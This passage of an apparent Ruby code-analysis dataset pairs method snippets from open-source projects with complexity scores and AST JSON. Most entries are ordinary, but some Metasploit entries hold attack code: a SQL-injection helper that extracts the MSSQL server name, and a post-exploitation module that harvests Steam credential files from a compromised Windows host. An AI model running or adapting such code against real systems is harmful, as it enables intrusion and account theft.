end","complexity_score":20.15,"ast_json":"{\"type\":\"def\",\"children\":[\"get_server_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"clue_start\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[11]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"clue_end\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[11]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(select '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clue_start\"]}]},{\"type\":\"str\",\"children\":[\"'+@@servername+'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clue_end\"]}]},{\"type\":\"str\",\"children\":[\"')\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"mssql_query\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clue_start\"]}]},{\"type\":\"str\",\"children\":[\"([^>]*)\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clue_end\"]}]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"instance_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sql_server_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance_name\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\\\\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sql_server_name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvar\",\"children\":[\"sql_server_name\"]}]}]}","id":"244f0908-dd0b-48b1-a880-2eb2ec9744cd"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/hook_job.rb","start_line":6,"raw_source":"def perform(hook, event_name, event_data = {})\n    return if hook.disabled?\n\n    case hook.app_id\n    when 'slack'\n      process_slack_integration(hook, event_name, event_data)\n    when 'dialogflow'\n      process_dialogflow_integration(hook, event_name, event_data)\n    when 'google_translate'\n      google_translate_integration(hook, event_name, event_data)\n    when 'leadsquared'\n      process_leadsquared_integration_with_lock(hook, event_name, event_data)\n    end\n  rescue StandardError => e\n    Rails.logger.error e\n  end","complexity_score":21.1,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hook\"]},{\"type\":\"arg\",\"children\":[\"event_name\"]},{\"type\":\"optarg\",\"children\":[\"event_data\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook\"]},\"disabled?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook\"]},\"app_id\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"slack\"]},{\"type\":\"send\",\"children\":[null,\"process_slack_integration\",{\"type\":\"lvar\",\"children\":[\"hook\"]},{\"type\":\"lvar\",\"children\":[\"event_name\"]},{\"type\":\"lvar\",\"children\":[\"event_data\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"dialogflow\"]},{\"type\":\"send\",\"children\":[null,\"process_dialogflow_integration\",{\"type\":\"lvar\",\"children\":[\"hook\"]},{\"type\":\"lvar\",\"children\":[\"event_name\"]},{\"type\":\"lvar\",\"children\":[\"event_data\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"google_translate\"]},{\"type\":\"send\",\"children\":[null,\"google_translate_integration\",{\"type\":\"lvar\",\"children\":[\"hook\"]},{\"type\":\"lvar\",\"children\":[\"event_name\"]},{\"type\":\"lvar\",\"children\":[\"event_data\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"leadsquared\"]},{\"type\":\"send\",\"children\":[null,\"process_leadsquared_integration_with_lock\",{\"type\":\"lvar\",\"children\":[\"hook\"]},{\"type\":\"lvar\",\"children\":[\"event_name\"]},{\"type\":\"lvar\",\"children\":[\"event_data\"]}]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},null]}]}","id":"93ff3206-9f34-4144-a435-ca70fc1b2c78"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/support/page/logging.rb","start_line":180,"raw_source":"def log(msg, level = :debug)\n          QA::Runtime::Logger.public_send(level, msg)\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"log\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]},{\"type\":\"optarg\",\"children\":[\"level\",{\"type\":\"sym\",\"children\":[\"debug\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Runtime\"]},\"Logger\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"level\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}","id":"f18bcf45-156f-4775-b4be-1fe80429bb06"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/system_testing/driver.rb","start_line":55,"raw_source":"def register_selenium(app)\n          Capybara::Selenium::Driver.new(app, browser: @browser.type, **browser_options).tap do |driver|\n            driver.browser.manage.window.size = Selenium::WebDriver::Dimension.new(*@screen_size)\n          end\n        end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"register_selenium\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Capybara\"]},\"Selenium\"]},\"Driver\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"app\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"browser\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@browser\"]},\"type\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"browser_options\"]}]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"driver\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"driver\"]},\"browser\"]},\"manage\"]},\"window\"]},\"size=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Selenium\"]},\"WebDriver\"]},\"Dimension\"]},\"new\",{\"type\":\"splat\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@screen_size\"]}]}]}]}]}]}","id":"ab0fc7e9-5640-4be3-95a5-a8ed1ae61898"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/ide_helper.rb","start_line":5,"raw_source":"def ide_data(project:, fork_info:, params:)\n    base_data = {\n      'new-web-ide-help-page-path' => help_page_path('user/project/web_ide/_index.md'),\n      'sign-in-path' => new_session_path(current_user),\n      'sign-out-path' => destroy_user_session_path,\n      'user-preferences-path' => profile_preferences_path\n    }.merge(extend_ide_data(project: project))\n\n    return base_data unless project\n\n    base_data.merge(\n      'fork-info' => fork_info&.to_json,\n      'branch-name' => params[:branch],\n      'file-path' => params[:path],\n      'merge-request' => params[:merge_request_id]\n    )\n  end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ide_data\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"project\"]},{\"type\":\"kwarg\",\"children\":[\"fork_info\"]},{\"type\":\"kwarg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"new-web-ide-help-page-path\"]},{\"type\":\"send\",\"children\":[null,\"help_page_path\",{\"type\":\"str\",\"children\":[\"user/project/web_ide/_index.md\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sign-in-path\"]},{\"type\":\"send\",\"children\":[null,\"new_session_path\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sign-out-path\"]},{\"type\":\"send\",\"children\":[null,\"destroy_user_session_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"user-preferences-path\"]},{\"type\":\"send\",\"children\":[null,\"profile_preferences_path\"]}]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"extend_ide_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_data\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_data\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"fork-info\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fork_info\"]},\"to_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"branch-name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"branch\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"file-path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"merge-request\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"merge_request_id\"]}]}]}]}]}]}]}","id":"8c4f691a-3f32-43f0-b180-f2f9cd40615a"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/empty_line_between_defs.rb","start_line":262,"raw_source":"def def_start(node)\n          node = node.send_node if node.any_block_type?\n\n          if node.send_type?\n            node.source_range.line\n          else\n            node.loc.keyword.line\n          end\n        end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"def_start\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"any_block_type?\"]},{\"type\":\"lvasgn\",\"children\":[\"node\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"send_node\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"send_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},\"line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"keyword\"]},\"line\"]}]}]}]}","id":"bc828613-70ca-4352-86eb-d86823852c22"}
{"repo_name":"haml","file_path":"./repos/haml/lib/haml/temple_line_counter.rb","start_line":8,"raw_source":"def self.count_lines(exp)\n      type, *args = exp\n      case type\n      when :multi\n        args.map { |a| count_lines(a) }.reduce(:+) || 0\n      when :dynamic, :code\n        args.first.count(\"\\n\")\n      when :static\n        0 # It has not real newline \"\\n\" but escaped \"\\\\n\".\n      when :case\n        arg, *cases = args\n        arg.count(\"\\n\") + cases.map do |cond, e|\n          (cond == :else ? 0 : cond.count(\"\\n\")) + count_lines(e)\n        end.reduce(:+)\n      when :escape\n        count_lines(args[1])\n      when :newline\n        1\n      else\n        raise UnexpectedExpression.new(\"[HAML BUG] Unexpected Temple expression '#{type}' is given!\")\n      end\n    end","complexity_score":46.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"count_lines\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"args\"]}]}]},{\"type\":\"lvar\",\"children\":[\"exp\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"multi\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[null,\"count_lines\",{\"type\":\"lvar\",\"children\":[\"a\"]}]}]},\"reduce\",{\"type\":\"sym\",\"children\":[\"+\"]}]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"dynamic\"]},{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"first\"]},\"count\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"static\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"case\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arg\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cases\"]}]}]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"count\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cases\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cond\"]},{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cond\"]},\"==\",{\"type\":\"sym\",\"children\":[\"else\"]}]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cond\"]},\"count\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"count_lines\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},\"reduce\",{\"type\":\"sym\",\"children\":[\"+\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"escape\"]},{\"type\":\"send\",\"children\":[null,\"count_lines\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"newline\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UnexpectedExpression\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[HAML BUG] Unexpected Temple expression '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"' is given!\"]}]}]}]}]}]}]}","id":"153cce4d-028f-45e8-b44b-c8502484190b"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/models/concerns/distanceable.rb","start_line":7,"raw_source":"def total_distance(points = nil, unit = :km)\n      if points.nil?\n        calculate_distance_for_relation(unit)\n      else\n        calculate_distance_for_array(points, unit)\n      end\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"total_distance\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"points\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"unit\",{\"type\":\"sym\",\"children\":[\"km\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"points\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"calculate_distance_for_relation\",{\"type\":\"lvar\",\"children\":[\"unit\"]}]},{\"type\":\"send\",\"children\":[null,\"calculate_distance_for_array\",{\"type\":\"lvar\",\"children\":[\"points\"]},{\"type\":\"lvar\",\"children\":[\"unit\"]}]}]}]}","id":"73171427-e113-4feb-83e7-5e6ce7cf4cf4"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package.rb","start_line":630,"raw_source":"def self.update_versions(conditions = nil)\n    # Only need to update issues with a version from\n    # a different project and that is not systemwide shared\n    having_version_from_other_project\n      .where(conditions)\n      .includes(:project, :version)\n      .references(:versions).find_each do |issue|\n      next if issue.project.nil? || issue.version.nil?\n\n      unless issue.project.shared_versions.include?(issue.version)\n        issue.version = nil\n        issue.save\n      end\n    end\n  end","complexity_score":26.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"update_versions\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"conditions\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"having_version_from_other_project\"]},\"where\",{\"type\":\"lvar\",\"children\":[\"conditions\"]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"sym\",\"children\":[\"version\"]}]},\"references\",{\"type\":\"sym\",\"children\":[\"versions\"]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"project\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"version\"]},\"nil?\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"project\"]},\"shared_versions\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"version\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"version=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"save\"]}]}]}]}]}]}","id":"70e9b0a5-178a-4be0-b11e-b2160a52f646"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage/metrics/instrumentations/gitlab_config_metric.rb","start_line":16,"raw_source":"def config_hash_to_method_array(object)\n            object.each_with_object([]) do |(key, value), result|\n              result.append(key)\n\n              if value.is_a?(Hash)\n                result.concat(config_hash_to_method_array(value))\n              else\n                result.append(value)\n              end\n            end\n          end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"config_hash_to_method_array\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"each_with_object\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"append\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"concat\",{\"type\":\"send\",\"children\":[null,\"config_hash_to_method_array\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"append\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}","id":"15362457-11b4-431b-ba26-032d0f494a73"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/smb/client.rb","start_line":243,"raw_source":"def domain\n        datastore['SMBDomain']\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"domain\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SMBDomain\"]}]}]}","id":"2a8966ba-bbb5-4cc1-be80-a8093a410600"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client/praefect_info_service.rb","start_line":8,"raw_source":"def initialize(repository)\n        @repository = repository\n        @gitaly_repo = repository.gitaly_repository\n        @storage = repository.storage\n\n        self.repository_actor = repository\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repository\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@repository\",{\"type\":\"lvar\",\"children\":[\"repository\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@gitaly_repo\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"gitaly_repository\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@storage\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"storage\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"repository_actor=\",{\"type\":\"lvar\",\"children\":[\"repository\"]}]}]}]}","id":"11d6c95a-4b6f-472f-a3a6-02bbdfb7542f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/steam.rb","start_line":49,"raw_source":"def run\n    steamappdata = 'SteamAppData.vdf'\n    steamconfig = 'config.vdf'\n    u_rx = /AutoLoginUser\\W*\"(.*)\"/\n\n    # Steam client is only 32 bit so we need to know what arch we are on so that we can use\n    # the correct program files folder.\n    # We will just use an x64 only defined env variable to check.\n    progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')\n    progfilesx86 = progfiles_env['ProgramFiles(X86)']\n    if !progfilesx86.blank? && progfilesx86 !~ (/%ProgramFiles\\(X86\\)%/)\n      progs = progfilesx86 # x64\n    else\n      progs = progfiles_env['ProgramFiles'] # x86\n    end\n    path = \"#{progs}\\\\Steam\\\\config\"\n\n    print_status(\"Checking for Steam configs in #{path}\")\n\n    # Check if all the files are there.\n    if directory?(path) && file?(\"#{path}\\\\#{steamappdata}\") && file?(\"#{path}\\\\#{steamconfig}\")\n      print_status('Located steam config files.')\n      sad = read_file(\"#{path}\\\\#{steamappdata}\")\n      if sad =~ /RememberPassword\\W*\"1\"/\n        print_status(\"RememberPassword is set! Accountname is #{u_rx.match(sad)[1]}\")\n        scd = read_file(\"#{path}\\\\#{steamconfig}\")\n        steam_app_data_path = store_loot('steam.config', 'text/plain', session, sad, steamappdata)\n        print_good(\"The file SteamAppData.vdf has been stored on #{steam_app_data_path}\")\n        steam_config_path = store_loot('steam.config', 'text/plain', session, scd, steamconfig)\n        print_good(\"The file config.vdf has been stored on #{steam_config_path}\")\n        print_status('Steam configs harvested successfully!')\n      else\n        print_error('RememberPassword is not set, exiting.')\n      end\n    else\n      print_error('Steam configs not found.')\n    end\n  end","complexity_score":55.75,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"steamappdata\",{\"type\":\"str\",\"children\":[\"SteamAppData.vdf\"]}]},{\"type\":\"lvasgn\",\"children\":[\"steamconfig\",{\"type\":\"str\",\"children\":[\"config.vdf\"]}]},{\"type\":\"lvasgn\",\"children\":[\"u_rx\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"AutoLoginUser\\\\W*\\\"(.*)\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"progfiles_env\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"config\"]},\"getenvs\",{\"type\":\"str\",\"children\":[\"ProgramFiles(X86)\"]},{\"type\":\"str\",\"children\":[\"ProgramFiles\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"progfilesx86\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"progfiles_env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ProgramFiles(X86)\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"progfilesx86\"]},\"blank?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"progfilesx86\"]},\"!~\",{\"type\":\"begin\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"%ProgramFiles\\\\(X86\\\\)%\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"progs\",{\"type\":\"lvar\",\"children\":[\"progfilesx86\"]}]},{\"type\":\"lvasgn\",\"children\":[\"progs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"progfiles_env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ProgramFiles\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"progs\"]}]},{\"t